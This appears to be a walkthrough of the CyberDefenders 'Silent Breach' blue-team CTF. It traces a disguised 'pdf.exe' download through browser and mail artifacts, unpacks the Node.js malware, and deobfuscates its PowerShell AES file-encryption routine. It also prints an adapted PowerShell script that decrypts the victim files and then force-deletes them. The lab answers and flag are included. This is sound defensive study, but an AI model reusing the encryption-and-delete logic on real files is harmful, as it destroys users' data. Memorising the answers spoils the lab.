Lab: https://cyberdefenders.org/blueteam-ctf-challenges/silent-breach/
1. What is the MD5 hash of the potentially malicious EXE file the user downloaded?
Navigating to the Downloads' folder we can see right way a suspicious executable which attempts to camouflage as a PDF.
Get-FileHash -Algorithm md5 .\IMF-Info.pdf.exe
336A7CF476EBC7548C93507339196ABBAnswer
2. What is the URL from which the file was downloaded?
Since it has the Zone.Identifier metada it means the MOTW was applied to the file, therefore there are high changes this file was download via a browser.
Accordingly with Microsoft https://learn.microsoft.com/en-us/dotnet/api/system.security.securityzone?view=windowsdesktop-10.0 we also know with "ZoneId=3" that the file was download from the internet.
Answer
http://192.168.16.128:8000/IMF-Info.pdf.exe
3. What application did the user use to download this file?
Due to previous discoveries we will check the History file from the installed browsers:
Exported the History file from the Edge browser.
Open the file in SQLite and browsed the "downloads" Table.
There were in total 5 files downloaded from the suspicious URL, which matches with the suspicious filename found earlier.
Microsoft EdgeAnswer
4. By examining Windows Mail artifacts, we found an email address mentioning three IP addresses of servers that are at risk or compromised. What are the IP addresses?
Checking the artifact "HxStore.hxd" that can be found in the following path "%LOCALAPPDATA%\Packages\Microsoft.windowscommunicationsapps_...\LocalState" we can retrieve additional information related to the windows mail app.
strings.exe .\HxStore.hxd | Select-String -Pattern '\b(?:\d{1,3}\.){3}\d{1,3}\b' | Sort-Object -Uniq
192.168.16.128, 212.33.10.112, 145.67.29.88Answer
5. By examining the malicious executable, we found that it uses an obfuscated PowerShell script to decrypt specific files. What predefined password does the script use for encryption?
Starting by doing some static analysis with DiE we can identify tha packer used and the language used.
This malware was written in Node.js and then packed as a PE to run without the need to have Node.js installed. By researching a bit we figure out a repository vercel/pkg which takes js (node.js) code, and compiles it into v8 bytecode wrapping it into an executable.
After searching for available unpackers we can find the following repo: https://github.com/LockBlock-dev/pkg-unpacker.
npm start -- -i ./pkg_app.exe -o ./unpacked
Now we can run strings against it without getting much rubbish.
strings.exe .\main.js
Saving it to a file and cleaning the rubbish we get the following code:
$wy7qIGPnm36HpvjrL2TMUaRbz = "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HXdm8eIBYru -fOrce;
pwn $FHG7xpKlVqaDNgu1c2Utw;
To analyse the script I will use Powershell_ISE, I will set a breakpoint in the last line since it is the one that will actually execute the obfuscated code.
Imf!nfo#2025Sec$Answer
6. After identifying how the script works, decrypt the files and submit the secret string.
Before analysing it, let's now save this de-obfuscated code into main2.ps1 to have a better readability.
echo $FHG7xpKlVqaDNgu1c2Utw > main2.ps1
Looking back at the PS code we find two new artifacts: IMF-Secret.pdf and IMF-Mission.pdf which the code is encrypting using the AES algorithm.
Going to FTK-Imager we can find those files, let's extract them so we can decrypt them.
To decrypt the files I read the following documentation: https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-10.0.
Just by adjusting the code to point to our paths and adding running the CreateEncryptor() function did the trick. Here is the code that I used with my modifications:
$password = "Imf!nfo#2025Sec$"
$salt = [Byte[]](0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08)
$iterations = 10000
$keySize = 32
$ivSize = 16
$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($password, $salt, $iterations)
$key = $deriveBytes.GetBytes($keySize)
$iv = $deriveBytes.GetBytes($ivSize)
# List of input files
$inputFiles = @(
"C:\\Users\\Rev\Desktop\\Silent_Breach\\IMF-Secret.enc", # POINT TO MY FPATH
"C:\\Users\\Rev\\Desktop\\Silent_Breach\\IMF-Mission.enc" # POINT TO MY FPATH
)
foreach ($inputFile in $inputFiles) {
#$outputFile = $inputFile -replace '\.pdf$', '.enc'
$outputFile = $inputFile -replace '\.enc$', '.pdf' # SWITCH THE LOGIC, I HAVE THE ENC FILES
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
#$encryptor = $aes.CreateEncryptor()
$encryptor = $aes.CreateDecryptor() # CreateDecryptor() is the function that we need
$plainBytes = [System.IO.File]::ReadAllBytes($inputFile)
$outStream = New-Object System.IO.FileStream($outputFile, [System.IO.FileMode]::Create)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($outStream, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($plainBytes, 0, $plainBytes.Length)
$cryptoStream.FlushFinalBlock()
$cryptoStream.Close()
$outStream.Close()
Remove-Item $inputFile -Force
}
CyberDefenders{N3v3r_eX3cuTe_F!l3$dOwnL0ded_fr0m_M@lic10u5$erV3r}Answer











Top comments (0)